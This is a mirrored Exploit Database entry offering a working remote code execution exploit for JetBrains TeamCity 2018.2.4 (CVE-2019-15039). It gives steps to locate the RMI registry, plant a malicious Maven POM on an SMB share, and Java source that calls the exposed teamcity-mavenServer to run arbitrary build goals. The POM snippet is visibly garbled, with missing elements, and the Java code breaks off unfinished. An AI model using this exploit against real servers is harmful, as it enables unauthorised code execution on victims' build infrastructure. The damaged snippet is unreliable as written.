JetBrains TeamCity 2018.2.4 – Remote Code Execution

Exploit Database
111 阅读

作者： hantwister

日期： 2020-01-08
类别：
- remote
平台：
- java
来源：https://www.exploit-db.com/exploits/47891/

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# Exploit Title: JetBrains TeamCity 2018.2.4 - Remote Code Execution

# Date: 2020-01-07

# Exploit Author: Harrison Neal

# Vendor Homepage: https://www.jetbrains.com/

# Software Link: https://confluence.jetbrains.com/display/TW/Previous+Releases+Downloads

# Version: 2018.2.4 for Windows

# CVE: CVE-2019-15039

# You'll need a few .jars from a copy of TeamCity to compile and run this code

# To compile, file path should match ${package}/${class}.java, e.g.,

# com/whatdidibreak/teamcity_expl/Main.java

# Instructions for Windows (easier case):

# 1) Verify exploitability.

#1a) Verify the remote host is running Windows, e.g. checking for common

#running services and their versions.

#1b) Discover Java RMI services on the remote host, e.g. doing a 65k port

#scan using nmap and the rmi-dumpregistry script. On one port, there

#should be a registry with an object named teamcity-mavenServer. This

#object should point to a second open port that is also identified as

#Java RMI.

# 2) Prepare the payload.

#2a) There needs to be an SMB share that the TeamCity software can read from

#and that you can write to. You might establish a share on your own

#system and make it accessible to anonymous users. Alternatively, if the

#TeamCity server is domain-joined, you might find a pre-existing share

#elsewhere in the domain.

#2b) Place a malicious POM in that share, e.g.

<groupId>com.mycompany.app</groupId>

<artifactId>my-module</artifactId>

<build>

<groupId>org.codehaus.mojo</groupId>

<artifactId>exec-maven-plugin</artifactId>

<goals>

</goals>

</execution>

</executions>

<argument>-testarg</argument>

</arguments>

</configuration>

</plugin>

</plugins>

</build>

</project>

# 3) Run this exploit.

#Argument #1: TeamCity host (IP or FQDN)

#Argument #2: Port of RMI Registry (the first open port described above)

#Argument #3: UNC path to the malicious POM file (e.g., \\ip\share\pom.xml)

#Argument #4: POM goal (e.g., exec:exec)

# NOTE: It is possible to exploit this issue in other situations, e.g. if the

# TeamCity server is running on a *nix system that allows access to some local

# directory over NFS.

package com.whatdidibreak.teamcity_expl;

import java.io.File;

import java.io.IOException;

import java.net.InetSocketAddress;

import java.net.ServerSocket;

import java.net.Socket;

import java.rmi.registry.LocateRegistry;

import java.rmi.registry.Registry;

import java.rmi.server.RMISocketFactory;

import java.util.ArrayList;

import java.util.List;

import jetbrains.buildServer.maven.remote.MavenServer;

import jetbrains.buildServer.maven.remote.RemoteEmbedder;

import org.jetbrains.maven.embedder.MavenEmbedderSettings;

import org.jetbrains.maven.embedder.MavenExecutionResult;

public class Main {

public static void main(String[] args) throws Throwable {

String host = args[0];

int port = Integer.parseInt(args[1]);

String pomPath = args[2];

String goal = args[3];

// The exported object may point to a different host than what we're

// using to connect to the registry, which could break things, i.e.,

// - localhost

// - for a multi-homed target, an IP we can't connect to

// - a FQDN or hostname we can't resolve

// - etc.

// For this reason, we'll set up a socket factory that forces all

// connections to go to the host specified by the user, ignoring the

// host pointed to by the exported object.

OverrideHostSocketFactory sf = new OverrideHostSocketFactory(host);

RMISocketFactory.setSocketFactory(sf);

// The rest of the code in this method should look fairly typical for

// interacting with remote objects using RMI.

Registry r = LocateRegistry.getRegistry(host, port, sf);

MavenServer ms = (MavenServer) r.lookup("teamcity-mavenServer");

MavenEmbedderSettings mes = new MavenEmbedderSettings();

RemoteEmbedder re = ms.exportEmbedder(mes);

File f = new File(pomPath);

List ap = new ArrayList();

List g = new ArrayList();

g.add(goal);

MavenExecutionResult mer = re.execute(f, ap, g);

}

private static class OverrideHostSocketFactory extends RMISocketFactory {

private String targetHost;

public OverrideHostSocketFactory(String targetHost) {

this.targetHost = targetHost;

}

@Override

public Socket createSocket(String host, int port) throws IOException {

Socket toReturn = new Socket();

toReturn.connect(new InetSocketAddress(targetHost, port));

return toReturn;

}

@Override

public ServerSocket createServerSocket(int port) throws IOException {

throw new UnsupportedOperationException("Not supported yet.");

}